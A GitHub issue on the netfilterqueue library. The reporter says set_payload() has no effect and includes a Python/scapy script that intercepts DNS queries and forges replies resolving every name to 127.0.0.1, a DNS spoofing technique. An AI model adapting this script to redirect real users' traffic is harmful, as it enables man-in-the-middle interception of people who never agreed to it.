-
Notifications
You must be signed in to change notification settings - Fork 101
get_payload() doesn't return the thing set_payload() was passed #30
Copy link
Copy link
Closed
Description
Here is my code
from netfilterqueue import NetfilterQueue
from scapy.all import *
def print_and_accept(raw_pkt):
# print(raw_pkt.get_payload())
pkt = IP(raw_pkt.get_payload())
localIP = "127.0.0.1"
if not pkt.haslayer(DNSQR):
raw_pkt.accept()
else:
print("got into spoofing")
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))
print("spoofed ", spoofed_pkt)
raw_pkt.set_payload(str(spoofed_pkt))
new = IP(raw_pkt.get_payload())
print("new ", new)
raw_pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
nfqueue.run()
except KeyboardInterrupt:
print('')
nfqueue.unbind()
After the set_payload, when I print the payload , I see the payload same as the input payload.
And I am not the only person who is facing this issue. Similar case here:
http://stackoverflow.com/questions/43319070/netfilterqueue-set-payload-not-work (This issue is raised by another person)
Am I doing something wrong?
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels